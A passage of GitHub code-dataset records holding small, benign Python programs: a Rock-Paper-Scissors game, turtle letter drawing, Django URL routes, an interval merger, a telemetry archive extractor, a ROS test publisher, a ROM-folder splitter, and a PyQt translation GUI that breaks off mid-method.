{"seq_id":"30915178071","text":"'''\r\nCode a \"Rock, Paper, Scissors\" Game\r\n\r\n@author: Sarah Bloch\r\n'''\r\n#Today I will be coding a \"Rock, Paper, Scissors\" game.\r\n#The objective is to correctly code a \"Rock, Paper, Scissors\" game for an\r\n#individual to play. This will be written by Sarah Bloch\r\n\r\n#import random\r\nimport random \r\nfrom turtledemo.sorting_animate import Block\r\n\r\n#Make a boolean variable called keepPlaying to track whether they want\r\n#to keep playing and set it to True\r\nkeepPlaying = True\r\n\r\n#LOOP 1: Make a game loop that continues while keepPlaying is True\r\n# while (keepPlaying): \"code block\" when game stops: put to false\r\n#loop needs tab\r\n\r\nprint(\"Welcome to Rock Paper Scissors!\")\r\nprint(\"Best two out of three. Press 'q' to quit\")\r\n    \r\n#make variables called userScore and cpuScore to track scores both set to 0\r\ncpuScore = 0\r\nuserScore = 0    \r\n    \r\n#LOOP 2: Make a round loop while userScore or cpuScore is less than 2\r\nwhile(userScore < 2 and cpuScore < 2 and keepPlaying):\r\n    \r\n#LOOP 3: Use input() to get a choice from the user \r\n#(rock, paper or scissors, or \"q\" {quit})\r\n#store choice in variable. in this variable. Use .lower() to make the user's choice all lowercase\r\n    \r\n    Choice = input(\"Please choose (Rock, Paper, Scissors): \").lower()\r\n\r\n        #Make a list of choices, then use random.choice() to get a random\r\n        #choice for the cpu. Store the choice in a variable\r\n    choiceList = (\"rock\", \"paper\", \"scissors\")\r\n    cpuChoice = random.choice(choiceList)\r\n    \r\n    \r\n    \r\n    if ((Choice == \"rock\" and cpuChoice == \"rock\") \r\n        or (Choice == \"paper\" and cpuChoice == \"paper\") \r\n        or (Choice == \"scissors\" and cpuChoice == \"scissors\")):\r\n            print(\"DRAW\")\r\n    #print(\"User: \" + str(userScore) + \" CPU: \" + str(cpuScore))\r\n   \r\n   \r\n    elif ((Choice ==\"rock\" and cpuChoice == \"paper\") \r\n    or (Choice == \"paper\" and cpuChoice == \"scissors\")\r\n    or (Choice == \"scissors\" and cpuChoice == \"rock\")):\r\n            cpuScore = cpuScore + 1\r\n    #print(\"User: \" + str(userScore) + \"CPU: \" + str(cpuScore))\r\n    \r\n    elif ((Choice == \"rock\" and cpuChoice == \"scissors\") \r\n    or (Choice == \"paper\" and cpuChoice ==\"rock\") \r\n    or (Choice == \"scissors\" and cpuChoice == \"paper\")):\r\n        userScore = userScore + 1\r\n    \r\n    elif (Choice == \"q\"):\r\n        keepPlaying = False\r\n        \r\n    else: print(\"Not an option, try again.\")\r\n    \r\n    \r\n    print(\"User: \" + str(userScore) + \" CPU: \" + str(cpuScore))\r\n    \r\n      \r\nprint (\"Thanks for playing!\")\r\n\r\nif userScore > cpuScore:\r\n    print (\"User wins!\")\r\nelse:\r\n    print (\"CPU wins!\")\r\n\r\nprint(\"User: \" + str(userScore) + \" CPU: \" + str(cpuScore))\r\n\r\n\r\n    #print(\"Not an option, try again\") if(choice.lower() == \"q\"):\r\n    #keepPlaying = False\r\n\r\n#print(\"Thanks for playing!\")\r\n\r\n        #Make a if/elif.else statement to check users input against\r\n        #cpu's choice\r\n        #NOTE: you will have to compare the users choice and cpu's choice to \r\n        #\"rock\", \"paper\" and \"scissors\" seperately and combine with logical operators\r\n\r\n                #print (\"DRAW\")\r\n                #print (\"User: \" + str(userScore) + \"CPU: \" + str(cpuScore))\r\n\r\n                #also adjust to different outcomes not just ties\r\n        #if the user won, add one to the users score, then print out the scores\r\n            #\"User: [#]. CPU:[#]\"\r\n            \r\n        #elif if (elif) the computer won, add one to the computer score\r\n        #print out the scores...\r\n        \r\n        #else if it is a draw, print \"DRAW\", then print out the scores...\r\n        \r\n        #else if the user entered \"q\", then end the round and the game loop\r\n        #use a break statement to end a round (round loop). Make keepPlaying equal False\r\n        \r\n        #else the user didn't enter accepted input, print\"not an option, try again\"    \r\n        #if(choice.lower() == \"q\"):\r\n            #keepPlaying = False\r\n    #print out thank you message\r\n    #print who won\r\n        #if the userScore is 2, then the user won\r\n            #code\r\n        #elif the cpuScore is 2, than the CPU won\r\n            #code\r\n    #print out the final scores (same code above)\r\n        \r\n        \r\n        \r\n          \r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"sbloch3/RockPaperScissorsGame","sub_path":"rockPaperScissors.py","file_name":"rockPaperScissors.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"3277652784","text":"'''\r\nThis file contains the functions to create a typewriter (capitals)\r\nusing the turtle package of python\r\n'''\r\nfrom __future__ import print_function, division\r\nimport turtle\r\nfrom polygon import circle3, arc2\r\n\r\n''' preliminaries 0'''\r\n\r\ndef bk(t,length):\r\n    t.bk(length)\r\n\r\ndef pu(t):\r\n    t.pu()\r\n\r\ndef pd(t):\r\n    t.pd()\r\n\r\ndef fd(t,length):\r\n    t.fd(length)\r\n\r\ndef fdbk(t,length):\r\n    fd(t,length)\r\n    pu(t)\r\n    bk(t,length)\r\n    pd(t)\r\n\r\ndef skip(t,length):\r\n    pu(t)\r\n    fd(t,length)\r\n    pd(t)\r\n\r\ndef skipb(t,length):\r\n    pu(t)\r\n    bk(t,length)\r\n    pd(t)\r\n\r\n\r\n''' preliminaries 1 '''\r\n\r\ndef vline (t,length):\r\n    '''\r\n    Draws a verticle line using turtle t and of length height\r\n    leaves the turtle facing right on the top corner\r\n    '''\r\n    t.lt(90)\r\n    t.fd(length)\r\n    t.rt(90)\r\n\r\ndef hline (t,length):\r\n    '''\r\n    Draws a horiontal line of length size and leaves the turlte\r\n    at final position\r\n    '''\r\n    fd(t,length)\r\n\r\n''' preliminaries 2 '''\r\n\r\ndef backvline(t,length):\r\n    '''\r\n    draws a verticle line by going below the present point\r\n    leaves the turtle facing right\r\n    '''\r\n    t.lt(90)\r\n    bk(t,length)\r\n    t.rt(90)\r\n\r\ndef gammab (t,length):\r\n    '''\r\n    traces the turtle along a post back to its original position \r\n    without leaving a trail\r\n    '''\r\n    pu(t)\r\n    bk(t,length)\r\n    t.lt(90)\r\n    t.bk(2*length)\r\n    t.rt(90)\r\n    pd(t)\r\n\r\ndef gamma(t,length):\r\n    '''\r\n    Draws a verticle line of 2*length and \r\n    a horizontal line of length size on top of verticle line\r\n\r\n    '''\r\n    vline(t,2*length)\r\n    hline(t,length)\r\n\r\ndef rise(t,height):\r\n    '''\r\n    turtle rises to height\r\n    '''\r\n    pu(t)\r\n    vline(t,height)\r\n    pd(t)\r\n\r\ndef fall(t,height):\r\n    '''\r\n    turtle falls below by height\r\n    '''\r\n    pu(t)\r\n    backvline(t,height)\r\n    pd(t)\r\n\r\n\r\ndef floatline(t,length,height):\r\n    '''\r\n    a line of length size with floats 'height' high\r\n    '''\r\n    rise(t,height)\r\n    hline(t,length)\r\n\r\ndef floatlineb(t,length,height):\r\n    '''\r\n    traces a floatline back to its starting position\r\n    without leaving a trail\r\n    '''\r\n    pu(t)\r\n    bk(t,length)\r\n    fall(t,height)\r\n\r\n\r\n''' Premilimaries 3 '''\r\n\r\ndef post(t,length):\r\n    '''\r\n    Draws a post and leaves the turtle at original position\r\n    height : 2*Length, Width = length\r\n    '''\r\n    gamma(t,length)\r\n    gammab(t,length)\r\n\r\ndef flyline(t,length,height):\r\n    ''' \r\n    Draws a floating line and returns back to the initial position\r\n    '''\r\n    floatline(t,length,height)\r\n    floatlineb(t,length,height)\r\n\r\ndef stump(t,distance,height):\r\n    '''\r\n    Draws a verticle line of height at a distance from current position\r\n    '''\r\n    skip(t,distance)\r\n    vline(t,height)\r\n    backvline(t,height)\r\n    skipb(t,distance)\r\n\r\ndef disflyline(t,distance,length,height):\r\n    skip(t,distance)\r\n    flyline(t,length,height)\r\n    skipb(t,distance)\r\n\r\ndef diagonal(t,x,y):\r\n    '''\r\n    Draws a slant line and returns to original position\r\n    x is the x coordinate of final point of line\r\n    y is the y coordinate od final point of line\r\n    '''\r\n    from math import atan2, sqrt, pi\r\n    angle = atan2(y,x) * 180/pi\r\n    length = sqrt(x**2 + y**2)\r\n    t.lt(angle)\r\n    fdbk(t,length)\r\n    t.rt(angle)\r\n\r\n\r\n'''\r\nFunctions to draw the letters\r\n\r\nt is the turtle used to to draw the letter and the letters are n length\r\nwide and 2n length high\r\n\r\nin each of the functions below the turtle returns to the starting position\r\n'''\r\n\r\ndef draw_a(t,n):\r\n    #Draw A\r\n    diagonal(t,n/2,2*n)\r\n    skip(t,n)\r\n    diagonal(t,-n/2,2*n)\r\n    skipb(t,n)\r\n    disflyline(t,n/4,n/2,n)\r\n    skip(t,n)\r\n\r\ndef draw_b(t,n):\r\n    #Draw B\r\n    for i in range(2):\r\n        arc2(t,n/2,180)\r\n        t.rt(180)\r\n    fall(t,2*n)\r\n    stump(t,0,2*n)\r\n    skip(t,n)\r\n        \r\ndef draw_c(t,n):\r\n    #Draws letter C\r\n    post(t,n)\r\n    fdbk(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_d(t,n):\r\n    #Draw D\r\n    arc2(t,n,180)\r\n    t.rt(180)\r\n    fall(t,2*n)\r\n    stump(t,0,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_e(t,n):\r\n    #Draws letter E\r\n    draw_f(t,n)\r\n    skipb(t,n)\r\n    fdbk(t,n)\r\n    skip(t,n)\r\n\r\n\r\ndef draw_f(t,n):\r\n    #Draws letter F\r\n    post(t,n)\r\n    flyline(t,n,n)\r\n    skip(t,n)\r\n\r\ndef draw_g(t,n):\r\n    #Draws letter G\r\n    post(t,n)\r\n    fdbk(t,n)\r\n    stump(t,n,n)\r\n    disflyline(t,n/2,n/2,n)\r\n    skip(t,n)\r\n\r\ndef draw_h(t,n):\r\n    #Draws letter H\r\n    stump(t,0,2*n)\r\n    flyline(t,n,n)\r\n    stump(t,n,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_i(t,n):\r\n    #Draws letter I\r\n    flyline(t,n,2*n)\r\n    stump(t,n/2.0,2*n)\r\n    fdbk(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_j(t,n):\r\n    #Draw letter J\r\n    arc2(t,n/2,90)\r\n    fd(t,(2*n)-n/2)\r\n    t.rt(90)\r\n    floatlineb(t,n/2,2*n)\r\n    flyline(t,n,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_k(t,n):\r\n    #Draws K\r\n    stump(t,0,2*n)\r\n    rise(t,n)\r\n    diagonal(t,n,n)\r\n    diagonal(t,n,-n)\r\n    fall(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_l(t,n):\r\n    #Draws letter L\r\n    stump(t,0,2*n)\r\n    fdbk(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_m(t,n):\r\n    #Draws letter M\r\n    stump(t,0,2*n)\r\n    draw_v(t,n)\r\n    skipb(t,n)\r\n    stump(t,n,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_n(t,n):\r\n    #Draws N\r\n    stump(t,0,2*n)\r\n    stump(t,n,2*n)\r\n    rise(t,2*n)\r\n    diagonal(t,n,-2*n)\r\n    fall(t,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_o(t,n):\r\n    #Draws letter O\r\n    skip(t,n)\r\n    circle3(t,n)\r\n    skipb(t,n)\r\n    skip(t,2*n)\r\n\r\ndef draw_p(t,n):\r\n    #Draw P\r\n    rise(t,n)\r\n    arc2(t,n/2,180)\r\n    t.rt(180)\r\n    fall(t,2*n)\r\n    stump(t,0,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_q(t,n):\r\n    #Draw Q\r\n    draw_o(t,n)\r\n    diagonal(t,-n,n)\r\n    \r\ndef draw_r(t,n):\r\n    #Draws R\r\n    vline(t,2*n)\r\n    arc2(t,n/2,-180)\r\n    t.rt(180)\r\n    diagonal(t,n,-n)\r\n    fall(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_s(t,n):\r\n    # Draws S\r\n    fd(t,n/2)\r\n    arc2(t,n/2,180)\r\n    arc2(t,n/2,-180)\r\n    fd(t,n/2)\r\n    gammab(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_t(t,n):\r\n    #Draws letter T\r\n    flyline(t,n,2*n)\r\n    stump(t,n/2.0,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_u(t,n):\r\n    #Draws letter U\r\n    stump(t,0,2*n)\r\n    fdbk(t,n)\r\n    stump(t,n,2*n)\r\n    skip(t,n)\r\n\r\ndef draw_v(t,n):\r\n    #Draws V\r\n    skip(t,n/2)\r\n    diagonal(t,-n/2,2*n)\r\n    diagonal(t,n/2,2*n)\r\n    skipb(t,n/2)\r\n    skip(t,n)\r\n\r\ndef draw_w(t,n):\r\n    stump(t,0,2*n)\r\n    skip(t,n)\r\n    rise(t,2*n)\r\n    t.lt(180)\r\n    draw_v(t,n)\r\n    skipb(t,n)\r\n    vline(t,2*n)\r\n    t.rt(180)\r\n    \r\n\r\n\r\ndef draw_x(t,n):\r\n    diagonal(t,n,2*n)\r\n    skip(t,n)\r\n    diagonal(t,-n,2*n)\r\n    skipb(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_y(t,n):\r\n    #Draws Y\r\n    skip(t,n/2)\r\n    vline(t,n)\r\n    diagonal(t,n/2,n)\r\n    diagonal(t,-n/2,n)\r\n    floatlineb(t,n/2,n)\r\n    skip(t,n)\r\n\r\ndef draw_z(t,n):\r\n    #Draws z\r\n    flyline(t,n,2*n)\r\n    diagonal(t,n,2*n)\r\n    fdbk(t,n)\r\n    skip(t,n)\r\n\r\ndef draw_(t, n):\r\n    # draw a space\r\n    skip(t, n)\r\n\r\n\r\nif __name__ == '__main__' :\r\n    \r\n    size = 20\r\n    bob = turtle.Turtle()\r\n    \r\n    for f in [draw_b, draw_a, draw_b, draw_e]:\r\n        f(bob,size)\r\n        skip(bob,size)\r\n\r\n    turtle.mainloop()\r\n\r\n\r\n","repo_name":"ashishbhatti/programming-practice","sub_path":"Python3/Think-Python/Practice/letters.py","file_name":"letters.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17609340554","text":"# api/urls.py\n\nfrom django.conf.urls import url, include\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views\n\nurlpatterns = {\n    url(r'^gzs/$', views.getGZ),\n    url(r'^gzs/(?P<gz>[0-9]+)/aois/$', views.aoiView),\n    url(r'^aois/(?P<id>[0-9]+)/$', views.deleteAOI),\n    url(r'^users/$', views.userView),\n    url(r'^aois/(?P<id>[0-9]+)/observations/$', views.addObservation),\n    url(r'^observations/(?P<id>[0-9]+)/$', views.observationView),\n    url(r'^images/$', views.addImage),\n    url(r'^species/$', views.getSpecies),\n    url(r'^crowns/$', views.getCrowns),\n    url(r'^canopies/$', views.getCanopies),\n    url(r'^upload/$', views.fileUploadView)\n}\n\nurlpatterns = format_suffix_patterns(urlpatterns)","repo_name":"jessisena/TreeCheckerApp","sub_path":"web/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"2785926202","text":"def mergeIntervals(I):\n\tmerged=[]\n\tI.sort(key = lambda x: x[0])\n\t\n\tmerged.insert(0,I[0])\n\n\tfor i in range(1,len(I)):\n\t\ttop = merged[0]\n\t\t\n\t\tif top[1]< I[i][0]:\n\t\t\tmerged.insert(0,I[i])\n\t\telif top[1] < I[i][1]:\n\t\t\ttop[1] = I[i][1]\n\t\t\tmerged[0]=top\n\t\tprint(merged) \n\treturn merged\n\t\ndef merge(intervals):\n\tmerged=[]\n\tintervals.sort(key=lambda x:x[0])\n\t\n\tmerged.append(intervals[0])\n\n\tfor i in range(1,len(intervals)):\n\t\ttop=merged[-1]\n\t\t\n\t\tif top[1]<intervals[i][0]:\n\t\t\tmerged.append(intervals[i])\n\t\telif top[1]<intervals[i][1]:\n\t\t\ttop[1]=intervals[i][1]\n\t\t\tmerged[-1]=top\n\treturn merged\n\n\n\nintervals=[[1,3],[2,6],[8,10],[15,18]]\n\t\n","repo_name":"nestorghh/coding_interview","sub_path":"mergeIntervals.py","file_name":"mergeIntervals.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"13027248350","text":"import sys\nimport argparse\n\nsys.path.append(r'../')\n\nfrom puslib.streams.file import FileInput  # noqa: E402\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"Extract telemetry packets from archive files.\")\n    parser.add_argument('input', metavar='path', help='Archive file')\n    parser.add_argument('-o', '--offset', metavar='size', type=int, default=0, help=\"Offset from outer proprietary headers to CCSDS header.\")\n    parser.add_argument('-v', '--validate-pec', action=\"store_true\", help=\"Validate packet error control.\")\n    args = parser.parse_args()\n\n    file_input_stream = FileInput(args.input, args.offset, args.validate_pec)\n    for packet in file_input_stream:\n        print(packet)\n","repo_name":"pxntus/puslib","sub_path":"examples/archive_extract.py","file_name":"archive_extract.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"35"}
{"seq_id":"14271300807","text":"import json\nimport pandas as pd\n\n\ndef get_icds(file_path):\n    selected_icds = []\n    with open(file_path, 'r') as j:\n        data = json.loads(j.read())\n        for row in data:\n            if(int(row['count']) > 1000):\n                selected_icds.append(row['icd_code'])\n    return selected_icds\n\ndef get_rowCounts(file_path):\n    df = pd.read_csv(file_path)\n    print(df.head(10))\n    return df.shape\n\nif __name__ == \"__main__\":\n    data = None\n    # with open('results-20220218-162426.json', 'r') as j:\n    #     data = json.loads(j.read())\n    #df = pd.read_csv('bq-results-20220218-153158-cl74v08k7enx.csv')\n    #print(df.shape[0], df.shape[1])\n    # features = []\n    # for row in data:\n    #     if(int(row['count']) > 1000):\n    #         features.append(row['label'])\n        \n    # print(features)\n    # print(len(features))\n    #print(get_icds('ICD-code-subject-count.json'))\n    print(get_rowCounts('../../Downloads/bq-results-20220218-172030-wmt74bsztg7y/bq-results-20220218-172030-wmt74bsztg7y.csv'))\n\n\n","repo_name":"priyakumari2/MasterThesis","sub_path":"parse_data.py","file_name":"parse_data.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75195872099","text":"from django.urls import path\n\nfrom .views import AuthorBookListView, BookListView, BookDetailView, SearchView\n\n\napp_name = 'main'\n\n\nurlpatterns = [\n    path('', BookListView.as_view(), name='books_list'),\n    path('books/<int:pk>/', BookDetailView.as_view(), name='books_detail'),\n    path('author/<str:username>/', AuthorBookListView.as_view(), name='author_books'),\n    path('search/', SearchView.as_view(), name='search_books')\n]\n","repo_name":"qzonic/FlyCode","sub_path":"books/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27724396911","text":"from apiClient import compoundDetailsByCompoundID\nfrom apiClient import hitDetailsByCompoundID\nfrom apiClient import compoundDetailsBySMILE\nimport csv\n\n\n_COMPOUND_NOT_FOUND = []\n\n# Prechecks\n# Check if compound exists\ndef checkCompoundExistsbyID(extCompoundId):\n    compoundID = compoundDetailsByCompoundID(extCompoundId)[\"id\"]\n    # If compound is not found\n    if compoundID == 0:\n        print(f\"{extCompoundId} : NOT FOUND 404\")\n        return\n    print(f\"{extCompoundId} : {compoundID}\")\n    \n    return\n    hit = hitDetailsByCompoundID(compoundID)\n    print(hit)\n    #print(f\"{extCompoundId} : Target={hit['targetName']} : Method={hit['method']} : Library={hit['library']} : ScreenID={hit['screenId']}\")\n\n\ndef checkCompoundExistsbySMILE(extCompoundId):\n    compoundID = compoundDetailsBySMILE(extCompoundId)[\"id\"]\n    # If compound is not found\n    if compoundID == 0:\n        print(f\"{extCompoundId} : NOT FOUND 404\")\n        return\n    print(f\"{extCompoundId} : {compoundID}\")\n    \n    return\n    hit = hitDetailsByCompoundID(compoundID)\n    print(hit)\n    #print(f\"{extCompoundId} : Target={hit['targetName']} : Method={hit['method']} : Library={hit['library']} : ScreenID={hit['screenId']}\")\n\n\n# Read Voting data from CSV\ndef loadVoteMap():\n    voteMap = []\n    with open(\"inp_data/votes/rho.csv\") as input_csv:\n        csv_reader = csv.reader(input_csv, delimiter=\",\")\n        next(csv_reader) # Skip header row\n        for row in csv_reader:\n            vote = {\n                \"compoundExtID\": row[0],\n                \"smile\": row[1],\n                \"positive\": row[2],\n                \"negative\": row[3],\n                \"neutral\": row[4],\n            }\n            voteMap.append(vote)\n    return voteMap\n\n\n_VOTE_MAP = loadVoteMap()\n\nfor vote in _VOTE_MAP:\n  checkCompoundExistsbySMILE(vote['smile'])\n  \n","repo_name":"sidxz/daikon-migration","sub_path":"checkCompoundExistance.py","file_name":"checkCompoundExistance.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"38445854673","text":"#gadgetmiser's idempotent splitter\r\n\r\nimport os\r\nfrom shutil import move\r\n\r\nwd = os.getcwd()\r\ndirs = os.listdir(wd)\r\nlastitemindex = len(dirs) - 1\r\n\r\n\r\ndrive = wd.split(':')[0]\r\nresults = ':\\\\c64Romset_output\\\\'\r\nfilesperfolder = 255\r\nletterstodisplay = 15\r\n\r\nfirstfn_2l = dirs[0][:letterstodisplay].split(\"(\")[0].strip().upper()[:4]\r\nlastfn_2l = dirs[:filesperfolder - 1][-1][:letterstodisplay].split(\"(\")[0].strip().upper()[:4]\r\n\r\nfirsttarget = (firstfn_2l + \" to \" + lastfn_2l).strip()\r\nos.mkdir(drive + results)\r\nos.mkdir(drive + results + firsttarget)\r\nlog_output = open(drive + results + \"log_output.txt\",\"w+\")\r\n\r\n\r\ntally = 0\r\ncounter = 0\r\ntarget = firsttarget\r\n\r\n\r\nfor folder in dirs:\r\n    tally += 1\r\n\r\n    if counter == filesperfolder:\r\n            p1 = folder[:letterstodisplay].split(\"(\")[0].upper().strip()[:4]\r\n            folderpos = dirs.index(folder)\r\n            try:\r\n                p2 =  dirs[folderpos + filesperfolder - 1][:letterstodisplay].split(\"(\")[0].upper().strip()[:4]\r\n            except IndexError:\r\n                p2 =  dirs[lastitemindex][:letterstodisplay].split(\"(\")[0].upper().strip()[:4]\r\n            newdir = (p1 + \" to \" + p2).strip()\r\n            print(str(tally) + \" files processed ... making new dir called: \" + newdir)\r\n            target = newdir\r\n            counter = 0\r\n    newfname = folder.split(\"(\")[0].strip()\r\n    move(folder, drive + results + target + \"\\\\\" + newfname)\r\n    print(\"Moved \" + folder + \" to \" + drive + results + target + \" as \" + newfname)\r\n    log_output.write(\"\\n\" + \"Moved \" + folder + \" to: ** \" + target + \" **\" + \" as \" + newfname)\r\n    counter += 1\r\n    \r\nprint(str(tally) + ' files processed ... ALL DONE')\r\nlog_output.write(\"\\n\" + str(tally) + \" files processed.\")\r\nlog_output.close()","repo_name":"jamesediluke/c64Romset-from-Archive.org-Splitter","sub_path":"splitter.py","file_name":"splitter.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"2245666482","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport random\nimport rospy\nfrom pandora_data_fusion_msgs.msg import GlobalProbabilitiesMsg\n\nglobal_propabilities_topic = \"/data_fusion/signs_of_life\"\n\n\ndef talker():\n    msg = GlobalProbabilitiesMsg()\n    pub = rospy.Publisher(global_propabilities_topic, GlobalProbabilitiesMsg,\n                          queue_size=10)\n    rospy.init_node('talker', anonymous=True)\n    rospy.loginfo(\" Publisher for Victim Propabilities initialized\")\n    while not rospy.is_shutdown():\n        msg.thermal = random.randint(0, 5)\n        msg.co2 = random.randint(0, 5)\n        msg.sound = random.randint(0, 5)\n        msg.motion = random.randint(0, 5)\n        msg.victim = random.randint(0, 5)\n        print(msg)\n        pub.publish(msg)\n        rospy.sleep(1)\n\nif __name__ == '__main__':\n    try:\n        talker()\n    except rospy.ROSInterruptException:\n        pass\n","repo_name":"pandora-auth-ros-pkg/pandora_ros_pkgs","sub_path":"pandora_rqt_gui/test/victim_propabilities.py","file_name":"victim_propabilities.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"4532102011","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 11 09:19:48 2022\n\n@author: levi\n\"\"\"\n\nfrom PyQt5.QtWidgets import QMainWindow, QWidget, QLabel,QTextEdit,\\\n    QVBoxLayout, QScrollArea,QHBoxLayout, QLineEdit,QDesktopWidget, QPushButton, QSizePolicy\nfrom PyQt5.QtGui import QFont, QIcon, QTextOption, QPalette, QColor,QFontDatabase\nfrom PyQt5.QtCore import QCoreApplication, Qt, QSize\n\nimport examples_loader\n\nSIZE = 960\n\n\n\ndef clear_layout(layout):\n    while layout.count():\n        item = layout.takeAt(0)\n        if item.widget() is not None:\n            item.widget().deleteLater()\n            \n        if item.layout() is not None:\n            clear_layout(item)\n           #item.layout().deleteLater()\n            #item.setParent(None)\n\n\nclass ButtonSel(QPushButton):\n    def __init__(self, icon, name):\n        super().__init__()\n        self.icon = icon\n        self.name = name\n        self.setIcon(QIcon(icon))\n        self.setIconSize(QSize(30, 30))\n        self.setMaximumWidth(110)\n\n\nclass LangSel_bar(QHBoxLayout):\n    def __init__(self):\n        super(LangSel_bar, self).__init__()\n        \n        b_dict = {\"French\" :\"icons/france.png\", \"English\":\"icons/uk.png\",\\\n         \"German\":\"icons/germany.png\", \"reverse\":\"icons/reverse.png\" }\n        \n        self.B_dict = {}\n        for b in b_dict:\n            self.B_dict[b] = ButtonSel(b_dict[b], b)       \n        self.B_dict[\"reverse\"].setMaximumWidth(35)\n        \n        self.source = \"German\"\n        self.target = \"English\"\n        self.source_label = QLabel(self.source)\n        self.target_label = QLabel(self.target)\n        \n        for label in [self.source_label, self.target_label]:\n            font_id_1 = QFontDatabase.addApplicationFont(\"./fonts/Roboto/Roboto-Medium.ttf\")\n            font_1 = QFontDatabase.applicationFontFamilies(font_id_1)[0]\n            f0 = QFont(font_1, 16) #, QFont.Bold, False) # auparavant \"Segoe UI\"\n            label.setFont(f0)\n            label.setStyleSheet(\"QLabel { color : #111111}\")\n            label.setAlignment(Qt.AlignHCenter | Qt.AlignVCenter)\n            \n        for w in [self.source_label,self.B_dict[\"reverse\"], self.target_label, \\\n                  self.B_dict[\"English\"],self.B_dict[\"German\"],self.B_dict[\"French\"]]:\n            self.addWidget(w)\n            \n    \n    def update_lang(self, source, target):\n        self.source, self.target = source, target\n        self.source_label.setText(self.source)\n        self.target_label.setText(self.target)\n        self.source_label.update()\n        self.target_label.update()\n\n\nclass CustomTextEdit(QTextEdit):\n    def __init__(self, col1, col2, font_name=\"Arial\", size=12):\n        super(QTextEdit, self).__init__()  \n        \n        self.setFixedWidth(int(SIZE*.9))\n        self.setMaximumHeight(60)\n        self.setWordWrapMode(QTextOption.WordWrap)   \n        self.textChanged.connect(self.updateText)\n        \n        self.text1.setStyleSheet(\"QTextEdit { background: {0}; selection-background-color: {1}; }\".format(col1, col2))\n        f0 = QFont(font_name, size, QFont.Bold, False)\n        self.text1.setFont(f0)\n        \n        #self.setFixedSize(SIZE, 40)\n        #self.setText(text1)\n        #self.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n        #self.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n        \n    def updateText1(self):\n          self.setFixedHeight(int(1.2*self.document().size().height()))\n        \n\nclass LabelResult(QLabel):\n    def __init__(self, col1, col2, font_name=\"Arial\", size=12, bold=False):\n        super(LabelResult, self).__init__()  \n        self.setWordWrap(True)\n        self.setMinimumWidth(int(SIZE*.88))\n        self.setMaximumWidth(int(SIZE*.88))\n        self.setContentsMargins(20, 5, 20, 5) #left, top, right, bottom\n        self.setTextInteractionFlags(Qt.TextSelectableByMouse)\n        palette = QPalette()\n        palette.setColor(QPalette.Window, QColor(col1))\n        palette.setColor(QPalette.WindowText,  QColor(col2))\n        self.setAutoFillBackground(True)\n        self.setPalette(palette)\n        f1 = QFont(font_name, size)\n        if bold: f1.setBold(True)\n        self.setFont(f1)\n        \n\n\n    \nclass Result_bar(QHBoxLayout):    \n    def __init__(self, text1, text2):\n        super(Result_bar, self).__init__()\n        font_id_1 = QFontDatabase.addApplicationFont(\"./fonts/Roboto/Roboto-Medium.ttf\")\n        font_1 = QFontDatabase.applicationFontFamilies(font_id_1)[0]\n        \n        self.text1 = LabelResult(\"#B4ECF4\",\"#000000\", font_name=font_1, size=12, bold=False)\n        self.text1.setText(text1)\n        \n        self.text2 = LabelResult(\"#D2FCFE\",\"#000000\",font_name= \"Helvetica\",size=11)\n        self.text2.setText(text2)\n \n        self.button = QPushButton()\n        self.button.setFixedSize(QSize(35, 35))\n        self.button.setIcon(QIcon('icons/star.png'))\n        self.button.setIconSize(QSize(30, 30))\n        self.button.clicked.connect(self.change_status)\n        \n        self.status = False\n        \n        # Add Widgets to Layout        \n        v_layout = QVBoxLayout()\n        v_layout.setSpacing(0) \n        v_layout.addWidget(self.text1)\n        v_layout.addWidget(self.text2)\n        v_layout.addSpacing(8)\n\n        self.addLayout(v_layout)\n        self.addWidget(self.button, alignment= Qt.AlignTop | Qt.AlignLeft)\n\n        self.button.setSizePolicy(QSizePolicy.Minimum, QSizePolicy.Minimum)\n        \n        \n    def change_status(self):\n        self.status = not self.status\n        if (self.status):\n            